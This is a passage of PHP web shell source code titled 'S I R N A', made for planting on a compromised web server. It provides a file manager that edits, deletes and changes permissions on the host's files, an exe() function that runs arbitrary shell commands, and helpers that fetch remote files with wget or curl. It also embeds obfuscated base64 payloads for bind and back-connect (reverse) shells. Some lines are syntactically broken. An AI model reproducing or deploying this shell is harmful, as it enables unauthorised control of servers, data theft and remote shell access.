style='width:80px;'>Size</th><th style='width:210px;'>Owner:Group</th><th style='width:80px;'>perms</th><th style='width:110px;'>Last Modified</th><th style='width:190px;'>actions</th></tr> ";
    if ($tree > 2)
        for ($i = 0; $i < $tree - 2; $i++)
            $parent .= $path[$i] . DIRECTORY_SEPARATOR;
    else
        $parent = $pwd;
    foreach ($dname as $folder) {
        if ($folder == ) {
            if (!$win && $posix) {
                $name  = @posix_getpwuid(@fileowner($folder));
                $group = @posix_getgrgid(@filegroup($folder));
                $owner = $name['name'] . "<span class='gaya'> : </span>" . $group['name'];
            } else {
                $owner = $user;
            }
            $buff .= "<tr><td><a href=\"?sad=" . $pwd . "\">$folder</a></td><td>-</td>
<td style=\"text-align:center;\">" . $owner . "</td>
<td><center>" . get_perms($pwd) . "</center></td>
<td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($pwd)) . "</td><td><span id=\"titik1\">
<a href=\"?sad=$pwd&amp;edit=" . $pwd . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a>
</span><form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> 
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" /> 
</form></td></tr> ";
        } elseif ($folder == "..") {
            if (!$win && $posix) {
                $name  = @posix_getpwuid(@fileowner($folder));
                $group = @posix_getgrgid(@filegroup($folder));
                $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
            } else {
                $owner = $user;
            }
            $buff .= "<tr><td>
<a href=\"?sad=" . $parent . "\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'>  $folder</a></td><td>-</td>
<td style=\"text-align:center;\">" . $owner . "</td>
<td><center>" . get_perms($parent) . "</center></td> <td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($parent)) . "</td>
<td><span id=\"titik2\"><a href=\"?sad=$pwd&amp;edit=" . $parent . "newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span> 
<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"y\" value=\"" . $pwd . "\" /> 
<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go\" /> 
</form></td></tr>";
        } else {
            if (!$win && $posix) {
                $name  = @posix_getpwuid(@fileowner($folder));
                $group = @posix_getgrgid(@filegroup($folder));
                $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
            } else {
                $owner = $user;
            }
            $buff .= "<tr><td><a id=\"" . clearspace($folder) . "_link\" href=\"?sad=" . $pwd . $folder . DIRECTORY_SEPARATOR . "\"><img src='data:image/png;base64,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' width=20px/>  <font style='color:red;text-shadow:none;'>[</font> $folder <font style='color:red;text-shadow:none;'>]</font></a>
<form action=\"?sad=$pwd\" method=\"post\" id=\"" . clearspace($folder) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"oldname\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $folder . "\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($folder) . "_form','" . clearspace($folder) . "_link');\" />
</form> </td><td>DIR</td><td style=\"text-align:center;\">" . $owner . "</td><td><center>
<a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\">" . get_perms($pwd . $folder) . "</a>
<form action=\"?sad=$pwd\" method=\"post\" id=\"" . clearspace($folder) . "_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"name\" value=\"" . $folder . "\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"" . substr(sprintf('%o', fileperms($pwd . $folder)), -4) . "\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" 
onclick=\"tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form3');\" /></form></center></td><td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($folder)) . "</td><td><a href=\"javascript:tukar('" . clearspace($folder) . "_link','" . clearspace($folder) . "_form');\">rename</a>| <a href=\"?sad=$pwd&amp;fdelete=" . $pwd . $folder . "\">delete</a>
</td>
</tr>";
        }
    }
    foreach ($fname as $file) {
        $full = $pwd . $file;
        if (!$win && $posix) {
            $name  = @posix_getpwuid(@fileowner($file));
            $group = @posix_getgrgid(@filegroup($file));
            $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
        } else {
            $owner = $user;
        }
        $buff .= "<tr><td><a id=\"" . clearspace($file) . "_link\" href=\"?sad=$pwd&amp;view=$full\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' />  $file</a> 
<form action=\"?sad=$pwd\" method=\"post\" id=\"" . clearspace($file) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"oldname\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $file . "\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\" />
</form></td><td>" . ukuran($full) . "</td><td style=\"text-align:center;\">" . $owner . "</td><td><center>
<a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');\">" . get_perms($full) . "</a>
<form action=\"?sad=$pwd\" method=\"post\" id=\"" . clearspace($file) . "_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> 
<input type=\"hidden\" name=\"name\" value=\"" . $file . "\" style=\"margin:0;padding:0;\" /> 
<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"" . substr(sprintf('%o', fileperms($full)), -4) . "\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" /> 
<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form2');\" /></form></center></td>
<td style=\"text-align:center;\">" . date("d-M-Y H:i", @filemtime($full)) . "</td> 
<td><a href=\"?sad=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('" . clearspace($file) . "_link','" . clearspace($file) . "_form');\">rename</a>| <a href=\"?sad=$pwd&amp;delete=$full\">delete</a> | <a href=\"?sad=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?sad=$pwd&amp;dlgzip=$full\">gz</a>)
</td></tr>";
    }
    $buff .= "<center><tr style='background-color:teal;'><td colspan='6'><center>Kau Buat Sirna Sudahlah.. Harapanku Hidup Bersamamu..</center></td></table>";
    return $buff;
}
function ukuran($file)
{
    if ($size = @filesize($file)) {
        if ($size <= 1024)
            return $size;
        else {
            if ($size <= 1024 * 1024) {
                $size = @round($size / 1024, 2);
                ;
                return "$size kb";
            } else {
                $size = @round($size / 1024 / 1024, 2);
                return "$size mb";
            }
        }
    } else
        return "???";
}
function exe($cmd)
{
    if (function_exists('system')) {
        @ob_start();
        @system($cmd);
        $buff = @ob_get_contents();
        $buff = @ob_get_contents();
        @
        return $buff;
    } elseif (function_exists('exec')) {
        @exec($cmd, $results);
        $buff = "";
        foreach ($results as $result) {
            $buff .= $result;
        }
        return $buff;
    } elseif (function_exists('passthru')) {
        @ob_start();
        @passthru($cmd);
        $buff = @ob_get_contents();
        @
        return $buff;
    } elseif (function_exists('shell_exec')) {
        $buff = @shell_exec($cmd);
        return $buff;
    }
}
function tulis($file, $text)
{
    $textz = gzinflate(base64_decode($text));
    if ($filez = @fopen($file, "w")) {
        @fputs($filez, $textz);
        @fclose($file);
    }
}
function ambil($link, $file)
{
    if ($fp = @fopen($link, "r")) {
        while (!feof($fp)) {
            $cont .= @fread($fp, 1024);
        }
        @fclose($fp);
        $fp2 = @fopen($file, "w");
        @fwrite($fp2, $cont);
        @fclose($fp2);
    }
}
function which($pr)
{
    $path = exe("which $pr");
    if (!empty($path)) {
        return trim($path);
    } else {
        return trim($pr);
    }
}
function download($cmd, $url)
{
    $namafile = basename($url);
    switch ($cmd) {
        case 'wwget':
            exe(which('wget') . " " . $url . " -O " . $namafile);
            break;
        case 'wlynx':
            exe(which('lynx') . " -source " . $url . " > " . $namafile);
            break;
        case 'wfread':
            ambil($wurl, $namafile);
            break;
        case 'wfetch':
            exe(which('fetch') . " -o " . $namafile . " -p " . $url);
            break;
        case 'wlinks':
            exe(which('links') . " -source " . $url . " > " . $namafile);
            break;
        case 'wget':
            exe(which('GET') . " " . $url . " > " . $namafile);
            break;
        case 'wcurl':
            exe(which('curl') . " " . $url . " -o " . $namafile);
            break;
        default:
            break;
    }
    return $namafile;
}
function get_perms($file)
{
    if ($mode = @fileperms($file)) {
        $perms = '';
        $perms .= ($mode & 00400) ? 'r' : '-';
        $perms .= ($mode & 00200) ? 'w' : '-';
        $perms .= ($mode & 00100) ? 'x' : '-';
        $perms .= ($mode & 00040) ? 'r' : '-';
        $perms .= ($mode & 00020) ? 'w' : '-';
        $perms .= ($mode & 00010) ? 'x' : '-';
        $perms .= ($mode & 00004) ? 'r' : '-';
        $perms .= ($mode & 00002) ? 'w' : '-';
        $perms .= ($mode & 00001) ? 'x' : '-';
        return $perms;
    } else
        return "??????????";
}
function clearspace($text)
{
    return str_replace(" ", "_", $text);
}
$tunisia         = '';
$port_bind_bd_c  = "bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl = "ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect    = "fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
$back_connect_c  = "XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";<html><head><link rel="icon" type="image/png" href="http://downloadicons.net/sites/default/files/heartbreak-icon-85786.png"><title>S I R N A</title>
<script type="text/javascript">function tukar(b,a){document.getElementById(b).style.display="none";document.getElementById(a).style.display="block"};</script>
<link href="https://fonts.googleapis.com/css?family=Montserrat" rel="stylesheet">
<style>body::-webkit-scrollbar{width:1em}body::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3)}body::-webkit-scrollbar-thumb{background-color:darkgrey;outline:1px solid slategrey}.mybox{-moz-border-radius:10px;border-radius:10px;border:1px solid #4c83af;padding:4px 2px;width:70%;line-height:24px}.myboxtbl{width:50%}body{background-color:transparan;background:#000;background-image:url("echo $background;");background-position:center;background-attachment:fixed;background-repeat:no-repeat}a{text-decoration:none}hr,a:hover{border-bottom:1px solid #4c83af}*{text-shadow:0 0 .3em #999;font-size:14px;font-family:'Montserrat',sans-serif;color:echo $fontcolor_global;}.tabnet{margin:15px auto 0 auto;border:1px solid #333}.main{width:100%}.gaya{color:#888}.top{border-left:1px solid black;border-RIGHT:1px solid #fff;font-family:verdana}input{background:#111;border:1;padding:2px;border-bottom:1px solid #222;border-top:1px solid #222;font-size:12px;vertical-align:middle;height:20;border-left:1px solid #5d5d5d;border-right:1px solid #121212;border-bottom:1px solid #121212;border-top:1px solid #5d5d5d;color:#9f9f9f}.inputz{background:#111;border:0;padding:2px;border-bottom:1px solid #393939;font-size:11px;color:#fff;-moz-border-radius:6px;border-radius:10px;border:1px solid #4c83af;margin:4px 0 8px 0}.inputzbut{background:#111;color:#8f8f8f;margin:0 4px;border:1px solid #444}.inputzbut:hover{border-bottom:1px solid #4c83af;border-top:1px solid #4c83af}.inputz:hover{-moz-border-radius:6px;border-radius:10px;border:1px solid #4c83af;margin:4px 0 8px 0;border-bottom:1px solid #4c83af;border-top:1px solid #4c83af}.output2{margin:auto;border:1px solid #888;background:#000;padding:0 